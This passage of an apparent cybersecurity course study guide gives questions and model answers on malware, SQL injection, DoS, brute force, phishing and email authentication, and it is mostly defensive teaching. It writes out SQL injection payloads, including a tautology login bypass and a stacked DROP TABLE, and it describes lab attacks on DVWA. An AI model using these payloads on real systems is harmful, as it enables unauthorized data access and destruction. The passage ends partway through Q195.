Wrapper: binds legitimate-looking program with hidden malicious component. Visible app encourages execution while concealed part runs in background.

Trojan vs virus: Trojan = deceptive appearance. Virus = replication through infection. Trojan doesn't necessarily self-replicate. One sample can combine both.

Q134: Define spyware and rootkits. Legal/ethical boundary for monitoring.

Model Answer:

Spyware: Collects info without meaningful consent. Range: cookies (tracking) to keyloggers (credentials). **Rootkit:** Preserves privileged access while hiding evidence. Capabilities: admin access, traffic/keystroke monitoring, backdoors, altered logs.

Legal boundary depends on jurisdiction, consent, employment rules, purpose, proportionality. Technical capability != permission. A marketing label like 'employee monitoring' doesn't remove legal obligations. Rootkit-like concealment = high-risk regardless of labels.

Q135: Explain virus hoaxes and fake security software (FakeAV/scareware).

Model Answer:

Virus hoaxes: Messages with false infection claims encouraging unsafe actions or forwarding. Exploit fear/urgency. Social threat, not technical. Safe response: verify with trusted sources, don't forward.

FakeAV/scareware: Software/websites showing alarming warnings claiming infection, pressuring users to install software or pay. Examples: FakeAV, MacDefender. May actually install malware. Safe response: don't install from popups, use approved security software, isolate and report.

Both exploit user psychology -- reinforces need for security awareness training.

Malware Detection & Safe Analysis

Q136: Compare signature-based, static heuristic, and behavioral detection.

Model Answer:

Signature: Known byte sequences. Fast, explainable. Misses new/changed samples. **Static heuristic:** Suspicious code patterns before execution. Can detect unseen variants. Obfuscation complicates interpretation. **Behavioral:** Observes suspicious actions (file changes, registry, processes). Detects by behavior not appearance. Benign programs may trigger false positives.

No single method sufficient -- layer all three.

Q137: What safety measures are required for malware analysis labs? Why isn't a VM alone sufficient?

Model Answer:

Measures: isolated/disposable environment, disabled network, no shared folders/clipboard/host integration, snapshots, treat samples as hazardous, approved repositories only.

VM alone insufficient: VM escape vulnerabilities exist, shared folders create data paths, network connectivity allows C2 contact or spread, host integration can be exploited. Must combine VM with network isolation, disabled integrations, snapshot management, proper disposal.

Q138: Describe the malware attack-chain view from delivery to impact with evidence and controls at each stage.

Model Answer:

(1) **Delivery:** Email attachment, macro, website, USB, Trojan. Evidence: message metadata, files, hashes. Controls: filtering, macro restrictions, awareness. (2) **Execution:** User opens document/runs program. Evidence: process tree, script activity. Controls: application control, least privilege, behavioral monitoring. (3) **Persistence:** Memory-resident, backdoor, rootkit. Evidence: unexpected services, modified logs. Controls: endpoint monitoring, integrity checking. (4) **Propagation:** Network shares, email, USB. Evidence: unusual SMB traffic, new files. Controls: segmentation, patching. (5) **Impact:** Encryption, theft, credential capture. Evidence: mass file changes, ransom note. Controls: backups, incident response, credential rotation.

SQL Injection Foundations & Mechanics

Q139: What is SQL injection? Root cause and impacts.

Model Answer:

SQL injection: application concatenates untrusted input into SQL query. Database receives mixture of intended SQL and attacker text changing query logic.

Root cause: untrusted data interpreted as SQL code -- mixing data with executable text. NOT merely about apostrophes. Common entries: web forms, URL params, API fields, cookies.

Impacts: authentication bypass, unauthorized data disclosure, modification, deletion, broader system compromise depending on DB privileges.

Q140: Explain boolean tautology OR 1=1 and login bypass.

Model Answer:

OR 1=1 is always true. Inserted into WHERE clause, makes condition true for all rows. Example: SELECT * FROM Users WHERE Name = " OR "=" AND Pass = " OR "="; -- equality "=" is true, matches rows without valid credentials.

comment marker (MySQL) or -- suppress trailing SQL. ' OR 1=1# closes the string, adds tautology, comments out rest. Exact behavior depends on DB type, quoting, and application logic.

Q141: What is batch/stacked-statement injection? Why does it change impact from reading to destruction?

Model Answer:

Some DB interfaces allow multiple statements with semicolons. Attacker appends destructive commands: ' OR 1=1#; DROP TABLE Payroll.

Changes impact: simple injection = unauthorized reading (confidentiality). Batch injection with DROP = data destruction (integrity + availability). Conditions: not every DB/driver permits stacking. Least privilege can prevent destructive commands even with injection.

Defense: prevent injection at application layer AND limit damage at database layer.

Q142: Explain SQL comment markers (# and --). Why don't payloads always work across systems?

Model Answer:

starts comments in MySQL. -- (with trailing space) in many SQL dialects. Both suppress remaining query text after injection.

Payloads fail across systems because: (1) Different DB systems use different comment syntax. (2) Query structure varies. (3) Quote types differ. (4) Operator precedence varies. (5) Some apps use stored procedures. (6) Drivers may not permit stacked statements. (7) WAFs may filter some patterns.

Why blacklisting is fragile: equivalent forms (OR 1=1, OR 'a'='a', OR 'x'='x') are infinite. Parameterization is the only reliable defense.

Q143: Describe the SQL injection analysis view from input to retest.

Model Answer:

(1) **Input reaches application:** Which parameters influence DB operations? Map data flows, validate every untrusted boundary. (2) **Query construction:** String concatenation or interpolation? Replace with parameterized APIs. (3) **Database execution:** What identity/privileges? Apply least privilege, separate roles. (4) **Feedback to user:** Are detailed errors exposed? Return generic messages, retain protected logs. (5) **Stored secrets:** Plaintext passwords? Hash appropriately, encrypt recoverable secrets. (6) **Validation and retest:** Does fix prevent simple and varied cases? Retest all query paths.

Q144: Explain password hashing vs encryption. When should each be used?

Model Answer:

Password hashing: One-way function -- cannot reverse to get original password. Use for storing passwords. Modern: bcrypt, Argon2, scrypt with salts and appropriate work factor. NOT MD5 or SHA-1.

Encryption: Two-way -- can decrypt to recover original data. Use for sensitive data that must be recoverable (credit card numbers, personal data at rest). Requires key management and access control.

Key distinction: passwords should be hashed (verify by hashing input and comparing), never encrypted (attacker who gets the key gets all passwords). These are different controls for different needs.

SQL Injection Defenses & Lab 5

Q145: What are prepared statements? Why are they the primary SQL injection defense?

Model Answer:

Prepared statements send SQL structure separately from values. Database treats parameters literally as data, not SQL syntax. Example: `SELECT * FROM tblUSERS WHERE UserName = ? AND Password = ?;`

Primary defense because they directly address root cause: untrusted input cannot become executable SQL syntax. Unlike filtering/escaping, parameterization structurally prevents data-as-code reinterpretation.

Q146: Describe defense-in-depth for SQL injection beyond prepared statements.

Model Answer:

(1) Input validation (allowlist-oriented). (2) Sanitization/encoding. (3) Patch DB/app components. (4) Hash passwords (bcrypt/Argon2). (5) Encrypt sensitive data. (6) Separate internal logs from user-visible errors (generic messages for users, details for operators). (7) Least privilege (limit what DB account can do).

Input validation complements but does NOT replace parameterization.

Q147: From Lab 5, describe the SQL injection attack against DVWA.

Model Answer:

Payload ' OR 1=1# worked: apostrophe closes string, OR 1=1 returns all rows, # comments out rest. Type: in-band (classic) SQL injection. UNION SELECT extracted username/password hashes (MD5 -- outdated, crackable).

SQL injection on web app (port 80) exposed normally inaccessible database (port 3306) -- web app acts as intermediary.

Q148: From Lab 5, what chain of issues allowed full root access? How to fix each?

Model Answer:

(1) SQL injection -- fix: prepared statements. (2) Weak MD5 hashing -- fix: bcrypt/Argon2. (3) msfadmin has sudo -- fix: least privilege. (4) SSH exposed -- fix: firewall, key-based auth. (5) Blank DB root password -- fix: strong credentials, restrict to localhost. Also: disable directory listing, remove plaintext credentials from config files.

Security policy: all queries parameterized, passwords hashed with salt, service accounts without unnecessary sudo, DB access restricted, directory listing disabled, SSH key-based auth with firewall.

Q149: Explain the distinction between input validation and prepared statements. Why is validation alone insufficient?

Model Answer:

Input validation checks format/length/type ('username must be alphanumeric, max 30 chars'). Prepared statements structurally separate data from SQL.

Validation alone insufficient: (1) Must anticipate every malicious pattern -- infinite variations. (2) Legitimate data may contain SQL characters (O'Brien). (3) Encoding/Unicode can bypass filters. (4) Validation logic may have bugs or be inconsistently applied.

Parameterization is the core defense addressing root cause. Validation is complementary -- reduces attack surface but cannot guarantee no injection passes.

Q150: Compare Dirb, Nikto, and sqlmap. What cautions apply?

Model Answer:

Dirb: Enumeration -- wordlist-based checking for hidden website paths. Can create load. **Nikto:** Web-security checks for potential issues and configurations. May include false positives. **sqlmap:** SQL

injection assessment and exploitation framework. Powerful -- can access/alter data.

All require: written permission, defined scope, least invasive method, responsible reporting. These tools can create risk, load, or data impact on targets.

PART 6: LECTURE 6 & LAB 6

Chapter 06: DoS, Brute Force, Social Engineering & Phishing

DoS & DDoS Fundamentals

Q151: Define DoS, DDoS, botnet, and C2. Why isn't DoS limited to traffic volume?

Model Answer:

DoS: Prevents/degrades legitimate access. Affects availability. **DDoS:** DoS from many sources.

Botnet: Compromised devices controlled as group. **C2:** Coordination infrastructure.

Not limited to traffic volume: any finite resource can be bottleneck -- bandwidth, connection tables, CPU, memory, disk I/O, application workers, database connections, DNS, auth services, third-party APIs.

Q152: Compare Layer 4 and Layer 7 DoS attacks.

Model Answer:

Layer 4: Transport/network behavior -- connection handling, packet floods, SYN floods. Raw volume or protocol abuse. **Layer 7:** Application behavior -- expensive HTTP interactions. Imitate legitimate requests. Harder to distinguish from normal traffic. Less bandwidth needed. Application capacity thresholds often lower than network.

Layer 7 increasingly important: bypasses network filters, looks legitimate, HTTP(S) attack frequency rising sharply.

Q153: Why does DoS remain possible? List exhaustible resources and controls.

Model Answer:

Every system has finite resources: (1) Concurrent requests -> capacity planning, rate limiting. (2) File/message size -> input limits, quotas. (3) Bandwidth -> upstream filtering, scrubbing. (4) Connection handshakes -> SYN cookies, connection limits. (5) CPU/computation -> caching, request budgets. (6) Database/dependency capacity -> bulkheads, circuit breakers.

Q154: Describe the MitID case. What is the design tension between lockout and attacker-triggered DoS?

Model Answer:

MitID issues: account enumeration (different responses), ~11,000 usernames guessed without blocking, DoS against 17 users without compromising accounts, weak logging.

Tension: lockout slows guessing but lets attackers trigger lockout against legitimate users. Solution: layered risk-based controls, consistent responses, per-account/per-source rate limiting, aggregate signals, centralize logs, anomaly detection. Not a single rigid threshold.

Q155: Explain reflection and amplification attacks. How do they relate to the Smurf attack?

Model Answer:

Reflection: Traffic sent to intermediaries with victim's address as source -- replies converge on victim. Attacker doesn't send traffic directly to victim.

Amplification: A small request causes a larger response. Amplification factor multiplies attacker's bandwidth.

Smurf attack combines both: spoofed ICMP echo requests sent to broadcast addresses with victim as source. Many intermediary replies (reflection) create a flood larger than the original traffic (amplification). All replies converge on the victim.

Defense: disable directed broadcasts, apply anti-spoofing (BCP38/ingress filtering), limit unnecessary ICMP behavior, and use upstream filtering.

Historical DoS Attacks & Mitigation

Q156: Describe Ping of Death, SYN flood, Smurf, Teardrop, and LAND attacks.

Model Answer:

Ping of Death (1997): Oversized reassembled packet -> crash. Fix: validate reassembly, patch. **SYN flood (1996):** Half-open connections exhaust backlog. Fix: SYN cookies, tune timeouts. **Smurf (1997):** Spoofed broadcast ICMP -> reflected flood. Fix: disable broadcasts, anti-spoofing. **Teardrop (1997):** Overlapping fragments -> reassembly failure. Fix: patch, validate fragments. **LAND (1997):** Identical src/dst -> system loops. Fix: reject nonsensical traffic, ingress filtering.

Q157: What is Slowloris? How does it differ from volumetric attacks?

Model Answer:

Slowloris: Layer 7, low-bandwidth attack keeping sockets occupied with partial HTTP requests. Never completes requests, exhausting connection pool. A single machine can potentially take down a web server.

Differs from volumetric: requires minimal bandwidth. Exploits server's willingness to wait for slow clients. Lesson: not every DoS needs huge bandwidth. Controls: timeout design, per-source connection limits, reverse proxies handling slow clients.

Q158: Explain SYN cookies and RST cookies. Limitations.

Model Answer:

SYN cookie: Encodes state in TCP sequence number -- no backlog entry needed until handshake completes. Prevents state exhaustion. Limitation: not complete defense against bandwidth/application floods.

RST cookie: Sends invalid SYN-ACK; legitimate client returns RST proving it can respond. Verifies client before allocating resources. Limitation: compatibility considerations.

Also: shorter timeouts (removes half-open entries sooner, may harm slow clients) and larger backlog (delays exhaustion but doesn't fix bottleneck).

Q159: Describe layered DoS mitigation strategy.

Model Answer:

(1) Firewall/filtering: discard unwanted traffic. (2) IDS/IPS: detect abnormal patterns, optionally block. (3) Patch management. (4) Rate limiting/quotas: constrain per-client consumption across multiple dimensions. (5) Reverse proxy/scrubbing: distributed front end absorbing traffic (Cloudflare). (6) Graceful degradation architecture: prioritize essential requests, isolate queues, cache. (7) Monitoring/response planning: recognize attacks early, coordinate with providers.

Q160: What weaknesses of DoS campaigns can defenders exploit?

Model Answer:

(1) Floods must be sustained -- service recovers when volume drops. (2) C&C; can be disrupted. (3) Compromised machines can be disinfected. (4) C&C; takeover/tracking exposes operators. (5) Single sources have their own bandwidth limits. (6) Uniform patterns are easier to block.

Brute Force Attacks

Q161: Define brute force. Compare local, remote, and directory guessing.

Model Answer:

Brute force: repeated trial and error to discover unknown values. **Local/offline:** Test against copied hash without interacting with live service (John the Ripper). No rate limiting. Defense: slow salted hashing, protect credential DBs. **Remote/online:** Submit to live service (Hydra, Crowbar). Defense: rate-limit, detect, MFA. **Directory guessing:** Try paths for hidden content. Defense: enforce

authorization, don't rely on obscurity.

Q162: How do attackers reduce search space? Defensive responses.

Model Answer:

(1) Dictionary list -> block known-compromised passwords. (2) Personal info -> don't base secrets on public info; use MFA. (3) Mutation rules -> minor substitutions aren't strong. (4) Leaked-password reuse -> unique passwords, monitor exposure, MFA. (5) Distributed/delayed attempts -> correlate across IPs, accounts, devices, time.

Q163: Explain password spraying, credential stuffing, and account enumeration.

Model Answer:

Spraying: Few common passwords across many accounts -- avoids per-account lockout. **Stuffing:** Testing breached username/password pairs on other services -- exploits reuse. **Enumeration:** Learning if identifiers exist from distinguishable responses.

Defenses: consistent responses, MFA, risk-based controls, breached-password screening, cross-source correlation.

Q164: Why is brute force especially relevant to IoT?

Model Answer:

Many IoT devices expose services with default credentials, firmware rarely updated, management interfaces internet-accessible. 97.91% of observed IoT attacks targeted Telnet.

Compromised IoT used for: DDoS participation, ransomware/destructive activity, DNS redirection, proxying/botnet services, trading access on dark markets.

Defense: change defaults, disable unnecessary services, patch firmware, segment IoT from critical networks, monitor outbound traffic.

Q165: Describe the attacker vs defender dynamics in brute force.

Model Answer:

Attacker: Modulates patterns, distributes/delays attempts, collects intelligence, uses statistics about common words, chooses between broad sweeps and targeted attacks.

Defender: Detects relevant patterns, disrupts ongoing attacks, makes combinatorics unfavorable (long passwords, salted hashing), applies policies, checks against lists attackers also use (breached-password screening).

Monitor for: low-and-slow patterns, password spraying, repeated failures across sources, abnormal geography, unusual success after failures. Centralize logs, tune alerts, use MFA, secure recovery, risk-based challenges.

Q166: What is the historical Windows 11 RDP default protection? Why is it relevant to brute force defense?

Model Answer:

Windows 11 received default protection in July 2022: ten-minute account lock after ten invalid sign-in attempts. This is a specific example of how systems are evolving to include brute-force protections by default.

Relevance: (1) Default protections matter -- many systems were previously unprotected. (2) This specific policy is a historical example -- verify current OS version and settings before relying on it. (3) Lockout policies must balance security (preventing brute force) against usability (attacker-triggered account denial of service). (4) Organizations should not rely solely on OS defaults -- configure policies appropriate to their risk context.

Lab 6 DoS & Social Engineering Scenarios

Q167: From Lab 6, compare port scanning, HTTP flood, and I/O exhaustion effects.

Model Answer:

Port scan: Network + kernel interrupts stressed. **HTTP flood:** Apache workers exhausted. At 500 requests: severe degradation, timeouts. **I/O exhaustion:** CPU + disk consumed directly. Fastest and most severe degradation -- affected entire OS, not just one service layer.

Different techniques affect different components. Real attackers combine multiple techniques.

Q168: From Lab 6, what did Apache logs reveal? What additional DoS techniques exist?

Model Answer:

Logs showed repeated requests from attacker in short time -- attack visible at application level. Log monitoring = viable detection.

Additional techniques: SYN flood (hping3), MySQL connection exhaustion, Slowloris (slow partial HTTP), UDP floods, application-specific attacks (expensive queries). Even simple techniques degrade performance.

Q169: From Lab 6, what lessons about DoS attacks? Why do they work without exploiting vulnerabilities?

Model Answer:

DoS works by exhausting resources, not exploiting software bugs. No CVE needed -- just overwhelming finite capacity. Different workloads affect different components. Simple techniques can be effective. Defenses must be layered. Logs are valuable for detection.

DoS works because every system has limited CPU, memory, bandwidth, connections, workers. Attacker consumes these faster than the system serves legitimate users.

Q170: Describe social engineering techniques in the password reset scenario. What should employees do?

Model Answer:

Techniques: authority (claiming IT), urgency (act immediately), fear (lose access), confidence (professional tone).

Employee should: don't trust immediately, never click suspicious links, go to official portal directly, verify through independent channel (official IT number, not caller's), if unsure end the interaction, if suspicious stop and report. A legitimate IT department accepts caution.

Q171: Explain smishing. What makes it effective? How can organizations reduce it?

Model Answer:

Smishing: SMS phishing. Effective when tied to real organizational events (e.g., HR migration), arrives on personal phones (less filtering), uses urgency.

Reduce: train employees, clearly communicate how HR contacts staff, encourage reporting, use MFA, monitor lookalike domains. The more predictable official communication is, the easier to spot fakes.

Q172: Describe the SET credential harvester exercise. What defenses detect SET-based phishing?

Model Answer:

SET creates fake login pages (credential harvester). Phishing email with urgency/authority directs victims to fake page capturing credentials.

Detection: suspicious sender, unexpected urgency, unusual links/IPs, missing HTTPS, certificate warnings, pages slightly different from real.

Prevention: SPF/DKIM/DMARC for email auth, secure email gateways, domain monitoring, web filtering, MFA to reduce stolen password impact, user awareness training.

Q173: From Lab 6, describe the GoPhish exercise. Core components of a phishing campaign.

Model Answer:

GoPhish components: (1) Landing page -- fake login page. (2) Target group -- recipients. (3) Email template -- phishing message with urgency/authority/personalization and link to landing page. (4) Campaign -- combines all components.

Tracks: email open rates, link click rates, credential submissions. Purpose: understand phishing structure, test organizational resilience, train employees, measure improvement.

Q174: What are the risks of public WiFi? What company controls should be implemented?

Model Answer:

Risks: traffic interception, fake captive portals, credential theft, MITM attacks, fake hotspots, session hijacking.

Company controls: (1) Require VPN access. (2) Use MFA. (3) Enforce device security policies. (4) Limit access from unmanaged devices. (5) Train on travel security. (6) Monitor suspicious logins. (7) Ensure HTTPS on all corporate services.

User practices: verify hotspot name with staff, disable auto-connections, confirm VPN active, verify HTTPS.

Q175: Compare LOIC, HOIC, Slowloris, TFN, and Stacheldraht. Security lessons from each.

Model Answer:

LOIC: GUI stress tool (TCP/UDP/ICMP/HTTP). Doesn't hide source -- traceable. One instance isn't DDoS. **HOIC:** HTTP floods effective with ~50 users. App-layer floods resemble normal traffic. **Slowloris:** Partial HTTP requests occupy sockets. Low bandwidth needed. **TFN/TFN2K:** Master controls agents for SYN/UDP/Smurf. Encrypted comms. DDoS = orchestration problem. **Stacheldraht:** Combines Trinoo/TFN features with source forgery and encryption.

Safety: never execute DoS tools without written authorization.

Q176: How can social engineering exploit trust between coworkers? What should Bob do when a coworker urgently requests a sensitive document?

Model Answer:

Social engineering exploits coworker trust through impersonation (email appears from colleague), urgency (important deadline), emotional manipulation (stress), and trust exploitation (existing relationship).

Bob should: NOT send immediately. Verify through another channel (call Alice on known number, contact manager). Follow company policy for sensitive documents. Check if email could be spoofed or account compromised. Use approved file-sharing methods. If unusual, escalate rather than decide quickly.

Risks: email may be spoofed, account compromised, document forwarded wrongly, sensitive info leaves approved channels.

Q177: What email authentication mechanisms (SPF, DKIM, DMARC) defend against phishing?

Model Answer:

SPF (Sender Policy Framework): Specifies which mail servers are authorized to send email for a domain. Receivers can check if the sending server is authorized.

DKIM (DomainKeys Identified Mail): Adds a digital signature to emails allowing receivers to verify the message wasn't altered in transit and came from the claimed domain.

DMARC (Domain-based Message Authentication, Reporting & Conformance): Builds on SPF and DKIM -- tells receivers what to do when authentication fails (reject, quarantine, or none) and provides reporting.

Together they: reduce email spoofing, help identify fraudulent senders, enable domain owners to protect their brand, and provide visibility into email authentication failures. Combined with secure email gateways and user training, they significantly reduce phishing success.

PART 7: LECTURE 7 (Lecture Only)

Chapter 07: Social Engineering and Phishing

Social Engineering Foundations & Attack Methods

Q178: Define social engineering. What is the human attack surface and why does security depend on people?

Model Answer:

Social engineering is any act that influences a person to take an action that may or may not be in their best interest. In cybersecurity: psychological manipulation persuading someone to disclose information, execute a file, approve a request, grant access, transfer money, or otherwise weaken security.

Human attack surface: security depends on people as well as software. Employees, customers, contractors, help-desk staff, guards, executives, and suppliers all become targets because they make decisions, possess information, or control access. Similar influence mechanisms appear in traditional fraud and legitimate persuasion -- intent, authorization, transparency, and consequences determine ethics.

Q179: List and explain the social engineering attack methods: phishing, spear phishing, credential harvesting, whaling/CEO fraud, smishing, vishing, baiting, malicious attachments, and on-site visits.

Model Answer:

Phishing email: Impersonates trusted entity for clicks, credential entry, payment, or file opening. **Spear phishing:** Personalized, narrower target group, more credible. **Credential harvesting:** Captures secrets through fake pages. **Whaling/CEO fraud:** Targets senior staff or impersonates leadership for transfers/documents. **Smishing:** SMS/text channel. **Vishing:** Phone/voice channel. **Baiting/evil USB:** Offers something tempting to trigger unsafe behavior. **Malicious attachment:** PDF, spreadsheet, archive, shortcut as delivery path. **On-site visit:** Physical presence, impersonation, or observation for restricted areas.

Digital methods: phishing, vishing, smishing, baiting, waterholing, WiFi spoofing. Physical methods: dumpster diving, tailgating/piggybacking, shoulder surfing, on-site contact.

Q180: Distinguish digital and physical social engineering categories with examples.

Model Answer:

Digital: Phishing, vishing, smishing, baiting, waterholing (compromising a site commonly visited by target group), WiFi spoofing (fake hotspot with plausible name). Use messages, websites, voice channels, wireless networks, or downloadable content.

Physical: Dumpster diving (searching discarded materials), tailgating/piggybacking (following someone through access controls), shoulder surfing (observing screens, documents, conversations), on-site contact. Exploit access controls, discarded information, observation, social norms, and reluctance to challenge strangers.

Social Engineering Attack Lifecycle & OSINT

Q181: Describe the social engineering attack lifecycle: exploration, target selection, contact, exploitation, and withdrawal.

Model Answer:

(1) **Exploration/reconnaissance:** Identify targets, gather info, map access, choose methods. Defense: reduce public exposure, monitor breach exposure. (2) **Choosing target:** Select someone with data, authority, physical access, or useful position. Defense: protect high-risk roles without ignoring ordinary employees. (3) **Entrapment/contact:** Engage person, gain attention/sympathy, create plausible story. Defense: make safe verification easy, don't punish caution. (4) **Exploitation:** Obtain information, money, access, file execution. Defense: layered controls -- least privilege, MFA, approval workflows. (5)

Withdrawal: End interaction, move funds, remove traces. Defense: detect post-event indicators, preserve evidence, reset credentials, investigate scope.

Q182: Explain target specificity: explicit target, opportunistic target, hybrid approach, and pivoting.

Model Answer:

Explicit target: Attacker selects a particular person for their authority/access (CEO, finance, admin, help desk). Defense: independent verification for sensitive workflows. **Opportunistic:** Contacts many people, relies on probability. Even a small response fraction succeeds. Defense: filtering and broad awareness. **Hybrid:** Broad net in a strategic setting (malicious WiFi at a conference). **Pivoting:** First victim becomes stepping stone -- a compromised mailbox sends credible internal messages. Defense: investigate downstream activity after any compromise.

Q183: What is OSINT? Describe the source categories and explain the correlation risk.

Model Answer:

OSINT (Open-Source Intelligence): collection and analysis of publicly available or lawfully accessible information. In social engineering, seemingly harmless facts become a convincing pretext when combined.

Categories: (1) **Identifiers:** usernames, emails, domains, IPs, phone numbers. (2) **Media/metadata:** images, videos, documents revealing people, locations, software. (3) **Online communities:** social networks, forums, blogs -- expose relationships, interests, routines. (4) **Records/search:** people search, public records, business records, code search. (5) **Location/movement:** transportation, geolocation, maps. (6) **Specialized:** dark web, cryptocurrency, threat intelligence.

Correlation risk: A single fact may be harmless. A profile becomes powerful when names, roles, relationships, locations, breached accounts, transactions, and current events are correlated into one plausible story.

Boundary: publicly accessible does NOT mean ethically appropriate to collect, combine, retain, or use.

Q184: How can personal information, organizational records, and breach material be used in social engineering?

Model Answer:

Personal info (directories, social media, content posted by others): builds personalized lures, answers security questions, identifies alternate accounts, maps social circles. Visual traces (vehicles, locations, devices) become sensitive when combined.

Organizational records (CVR, DNS, WHOIS, company website, job postings, employee profiles): reveal technologies, projects, suppliers, staff names, reporting lines, vocabulary -- all supporting pretexts.

Breach material (leaked accounts, passwords, compromised data): supports credential stuffing, password guessing, impersonation, and targeted messages. Handling breach material may be illegal or unethical outside defined investigations.

Financial info (tax records, cryptocurrency transactions): reveals spending patterns, wallet connections, exchange interactions. Public visibility doesn't remove the need for lawful purpose.

Pretexts, Persuasion & Decision-Making

Q185: What is a pretext? Describe the qualities that make a pretext effective.

Model Answer:

A pretext is the invented or selectively framed situation justifying the attacker's request. Effective pretexts are:

(1) **Relevant:** Fits the target's role, current events, or routine. Defense: verify through independent official channel. (2) **Personalized:** Includes names, colleagues, projects, family facts. Defense: treat knowledge as evidence of research, not proof of identity. (3) **Action-oriented:** Leads toward a specific disclosure or action. Defense: identify the requested action and check if it's normal and authorized. (4) **Emotionally timed:** Creates urgency, sympathy, fear, curiosity, or reward expectation. Defense: pause, use checklists or second-person approval.

Q186: Describe the persuasion techniques used in social engineering: reward, liking, authority, fear/urgency, scarcity, trust, curiosity, reciprocity.

Model Answer:

Reward: Offered benefit motivates action. Don't connect unknown media or follow unverified reward links. **Liking/social proof:** People favor liked individuals and follow their group. Verify identity even from apparent colleagues. **Trustworthiness/appearance:** Polished website, professional tone, uniform creates confidence. Check procedural evidence, not appearance. **Authority:** Compliance with someone presented as senior/official. Sensitive actions still need standard verification. **Fear/urgency:** Panic narrows attention. Slow down; don't let urgency remove controls. **Scarcity:** Limited-time pressure. Don't bypass review for requester-created deadlines. **Trust/familiarity:** Imitating someone known. Use independently obtained contact for confirmation. **Curiosity/reciprocity/convenience:** Interest, desire to return favor, or preference for easy path. Make the secure path convenient.

Q187: Explain the decision-making factors that social engineering exploits: context dependence, emotional triggers, non-automatic decisions, cognitive bias, barriers to compliance.

Model Answer:

(1) **Context-dependent decisions:** Response changes with workload, channel, environment, urgency. Design controls for real conditions, not idealized training. (2) **Emotional triggers:** Fear, sympathy, excitement, embarrassment displace reasoning. Provide simple escalation procedures. (3) **Non-automatic security decisions:** Security requires deliberate thought, not habitual action. Use clear prompts, checklists, safe defaults. (4) **Cognitive bias:** Security steps viewed as obstacles. Reduce friction while keeping safeguards. (5) **Barriers to compliance:** Verification feels annoying or socially awkward. Reward cautious behavior; avoid punishing false alarms.

Ethical Social Engineering Assessment

Q188: What questions must be addressed before conducting a social engineering assessment? How should the physical-access scenario (pregnant woman at guard station) be handled?

Model Answer:

Questions: (1) How much OSINT may be collected? Use only approved sources, minimize collection. (2) May leaked breach material be used? Get legal review and explicit authorization. (3) May testers contact targets or their social circle? Define channels, stop conditions, support procedures. (4) Which pretexts are acceptable? Choose proportionate scenarios; prohibit high-risk themes (health, family). (5) Should reports name specific employees? Report patterns and process weaknesses; restrict identity data. (6) Are phishing simulations included? Set data-minimization rules; don't collect real passwords; use results for improvement not shame.

Physical-access scenario: A guard faces a visibly pregnant woman who feels unwell and needs entry. Simply refusing creates a health/safety problem; granting unsupervised access creates a security problem. Solution: keep entrance controlled while another guard assists and supervises. Design procedures supporting compassion without abandoning access control.

Phishing Workflows & Impact

Q189: Describe the credential-stealing phishing workflow (5 steps) with defensive interruption points at each step.

Model Answer:

(1) User receives message with link presented as trusted organization. Defense: filter suspicious messages, teach users to navigate via known routes. (2) Link opens site resembling real organization but controlled by attacker. Defense: inspect registrable domain, password managers autofill only on expected sites, browser protections. (3) User prompted to enter credentials. Defense: phishing-resistant MFA, never enter secrets after unverified links. (4) Credentials forwarded to attacker. Defense: detect suspicious sign-ins, rapid password reset, session revocation. (5) Attacker attempts account control or pivoting. Defense: least privilege, MFA, conditional access, monitoring, incident response.

Q190: Describe the malware-infiltration phishing workflow.

Model Answer:

(1) Message contains attachment or link. Defense: block risky file types, scan content. (2) User opens attachment or follows link. Defense: awareness training, protected viewers, sandboxing. (3) Content triggers script or exploits vulnerability. Defense: disable macros, patch software, application control. (4) Malware controls system, exfiltrates data, or propagates. Defense: endpoint detection, least privilege, segmentation, rapid isolation. (5) Rarely, vulnerable systems exploited with minimal interaction. Defense: keep clients patched, reduce active content exposure.

Q191: Explain CEO fraud / business-email compromise. What is the central defense?

Model Answer:

In CEO fraud, a message impersonates a trusted authority requesting money transfer, document sharing, or sensitive action. The attacker exploits authority, urgency, and existing trust in organizational hierarchy.

Central defense is NOT only better email detection. High-impact workflows require: independent confirmation through known contact details, separation of duties (no single person can authorize large payments), callback procedures using verified numbers, documented approval paths, and training on recognizing authority-based pressure.

Attacker preparation: register sender addresses, create impersonation website, send messages. AI and templates make professional-looking lures easy. Visual polish is a weak trust signal -- defenders should rely on domain verification, process controls, and independent confirmation.

Email Trust, URL Deception & Spoofing

Q192: Explain why email identity needs additional controls. Describe display-name spoofing, sender-address spoofing, message tampering, and website spoofing.

Model Answer:

SMTP was designed without modern authentication expectations. The visible display name, address, sending infrastructure, and content are distinct properties. A trustworthy-looking From field is NOT sufficient proof of origin.

Display-name spoofing: Name says 'Alice' but actual address belongs to Eve. Defense: inspect full sender address. **Sender-address spoofing:** Attacker's server transmits falsified sender address. Defense: domain authentication (SPF/DKIM/DMARC). **Message tampering:** Attacker alters content during delivery. Defense: DKIM signatures. **Website spoofing:** Link text shows expected address but actual destination differs. Defense: hover/inspect actual URL, identify registrable domain.

Q193: Describe URL deception patterns with examples. How should users read URLs defensively?

Model Answer:

Patterns: (1) **URL shortener** (tinyurl.com/xxx) -- hides destination. Use expansion service. (2) **Subdomain trick** (amazon.com.evilhacker.com) -- amazon.com is just a subdomain; registrable domain is evilhacker.com. Read right to left. (3) **Path trick** (evilhacker.com/www.facebook.com) -- familiar name in path, not domain. Path doesn't control site identity. (4) **Look-alike domain** (amazon-shop.com) -- separately registered similar domain. (5) **Typosquatting** (arnazon.com, mircosoft.com) -- character swaps. (6) **Homoglyph/IDN** (facebook.com with special characters) -- visually confusable letters. (7) **Open redirect** (amazon.com/login?redirect=evilhacker.org) -- legitimate site redirecting to attacker's.

A correct-looking URL is NOT proof the page is safe. Legitimate sites can be compromised. Use layered verification and independent navigation.

Q194: Explain SPF, DKIM, and DMARC. What question does each answer and what is each's limitation?

Model Answer:

SPF (Sender Policy Framework): 'Is this sending infrastructure authorized for this domain?' Published in DNS. Example: v=spf1 a -all allows domain's A-record hosts, rejects all others. Limitation: forwarding and complex mail flows complicate evaluation; policy must be accurate.

DKIM (DomainKeys Identified Mail): 'Was the signed content authorized by the signing domain and preserved after signing?' Adds domain-level digital signature using private key; receiver verifies with public key from DNS. Limitation: valid signature doesn't guarantee message is benign or signing domain is trustworthy; forwarding can break signatures.

DMARC (Domain-based Message Authentication, Reporting & Conformance): 'Does authenticated mail align with visible From domain, and what should receivers do when checks fail?' Builds on SPF+DKIM. Publishes handling policy (monitor/quarantine/reject) and supports reports. Limitation: deployment quality, policy strength, and receiver behavior determine effectiveness.

Phishing Detection, Awareness & Response

Q195: What are the manual detection indicators for phishing? Why is no single measure sufficient?

Model Answer:

